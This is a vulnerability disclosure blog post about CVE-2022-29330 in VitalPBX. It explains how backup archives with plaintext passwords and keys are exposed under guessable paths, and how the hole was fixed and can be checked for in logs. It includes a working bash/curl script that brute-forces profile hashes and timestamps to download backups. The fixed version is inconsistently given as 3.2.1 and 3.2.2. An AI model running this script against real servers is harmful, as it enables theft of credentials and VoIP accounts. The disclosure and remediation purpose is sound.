CVE-2022-29330 - vulnerability in VitalPBX < 3.2.1

As we were playing around quietly configuring our VitalPBX server, we discovered a vulnerability that was relatively easy to implement and gave us access to data we should not be able to read freely (i.e. passwords extensions, but not only). Here's how it works... and why you should update your version.

Useless for a family, therefore essential for a geek family, we have an IPBX at home. Among the many software on the market, we have installed a VitalPBX in a virtual machine connected to the rest of our network and responsible to connect our IP phones (IP-8815) and our analog external lines (via an HX4G gateway connected to ISP boxes).

Throughout our adventures in this wonderful world of VoIP, we have experimented lots of tricks that allow us to have, @home, all the features expected from a business (or hotel) phone system: ring group, voicemail and turing turing (to avoid robot calls)...

© Rodrigo SalomonHC @ pixabay
© Rodrigo SalomonHC @ pixabay

Latest: backup (because backups matters). It is true that given our infrastructure, this server is quick to install and the rare data it contains can be lost, so we could have skipped it. The thing is that as legal experts, we do not see ourselves working for judges and companies without knowing what we are talking about (and also because we like setup computers) .

And it was precisely while trying to setup the backup system, or rather trying to automate it, that we discovered this vulnerability...

Backup files were accessible through the web interface without any restrictions and give access, in plain text, to passwords, cryptographic keys and voicemail boxes (among other things). Hopefully, it have been fixed (in version 3.2.2) so you just have to update your server to avoid exploitation.

VitalPBX's Backup System

The setup of VitalPBX backups is done via the web administration interface. Once logged in, you need to go to "admin / Tools / Backup & Restore". The html form presented by default allows you to create a new backup profile, with at least a name.

Create backup profile
Create backup profile

Once your backup profiles have been created, you can list them via the menu icon (bullet list icon) and then access them by clicking on their name. The new screen display the configuration form and adds the list of backups already made (within the limit configured above), and allows you to restore one (button restore icon} on the right in the corresponding line) and to create new savepoints (button new backup icon at the bottom left of the screen).

Detail of a backup profile
Detail of a backup profile

If you want to make backups automatically, you must first add an automatic task profile (via the "PBX / Tools / cron profiles" menu) because as long as there is none, the Run automatically field only contains the disabled value).

Backup Vulnerability

As you may have seen, the web interface also offers a button download icon to download a savepoint. By clicking on it, you will then obtain an archive in tar format which you could save on your side. It's not obvious because it hides the details from us (it's opaque) but this button just redirects your browser to the file address which might look like as follows:

https://monipbx.monreseau.lan/static/backup/c4ca4238a0b923820dcc509a6f75849b/vitalpbx-1650260415.tar

It doesn't look like much seen like that but by checking the details, you'll see that it's going to be a problem.

No access control

The configuration file of the web server is, as always on Red Hat, in /etc/httpd/conf.d/ and more particularly, the file vitalpbx.conf. There is the configuration of the vhosts (virtual web servers) used by vitalpbx, including that of the web administration interface that interests us and of which here is an extract:

<VirtualHost *:443>
        ...
        <Directory "/var/lib/vitalpbx/static">
                Require all granted
        </Directory>
        Alias /static "/var/lib/vitalpbx/static"
        ...
</VirtualHost>

If we read it from bottom to top, we learn that the /static prefix in the address is in fact an alias which corresponds to the /var/lib/vitalpbx/static directory. Then (or rather before) that this directory is in free access (Require all granted). No PHP code, no configuration line or .htaccess file will temper this lack of access control.

If we know the address of a file, we can access it without constraint.

The only consolation is that the server does not allow directory listing; if you access https://monipbx.mynetwork.lan/static/backup/, the system will return a 403 - Forbidden error (you do not have the right to see the contents of the directory).

Deterministic address

We must therefore guess the rest of the address of the backup files...

c4ca4238a0b923820dcc509a6f75849b/vitalpbx-1650260415.tar

All you need is to find a profile identifier and a valid timestamp, two pieces of information whose values follow very simple sequences.

One can enumerate profiles (consecutive integers) and timestamps (countdown from now) until a backup file is found.

Exploitation

Rather than testing these combinations by hand, we can automate all of this. Here is a solution in bash 😉. In short, we test all timestamps over the last 24 hours, for the first 10 profiles. And we quit the script as soon as curl has found something.

#!/bin/bash

now=$(date +%s)
past=$(date -d "1 day ago" +%s)

for profile in $(seq 1 10) ; do
    md5=$(echo -n $profile | md5sum | sed -e "s/ .*//")

    curl -sk "https://localhost/static/backup/$md5/" -o /dev/null -w "%{http_code}" | grep -q "404" && continue

    for timestamp in $(seq $now -1 $past) ; do
        curl -fJOsk "https://monipbx.monreseau.lan/static/backup/$md5/vitalpbx-$timestamp.tar" && exit 1
    done
done

If you're in a hurry, we can speed things up with a bit of parallelism on the curl calls. For that, we will modify the inner loop and directly pass the result of seq to xargs.

    export md5=$(echo -n $profile | md5sum | sed -e "s/ .*//")
    ...
    seq $now -1 $past | xargs -P 10 -I % bash -c \
        'curl -fJOsk "https://localhost/static/backup/$md5/vitalpbx-%.tar" && exit 255' \
        || exit 1

Impact

The backup file is a tar archive containing other archives (gz and tar.gz). And among all that is saved, some elements are particularly interesting...

So if someone gets their hands on your backup file, they can:

And once he has the admin passwords, he can do anything.

Fix

Telesoft S.A fixed this vulnerability in version 3.2.1, once updated, your server is no longer vulnerable to this attack 🎉.

In detail, the backup files are no longer directly accessible (they have been moved to /var/lib/vitalpbx/backup, outside the directories accessible by apache) and therefore require going through the user interface in PHP which does authentication checks.

To find out if your server has been attacked, you can look at the web server logs. They are in /var/log/httpd, a search on /static/backup will tell you if any accesses have taken place. If you see access, and if you want to be careful, change your TLS keys and passwords (extensions and to be careful, users).

Disclosure log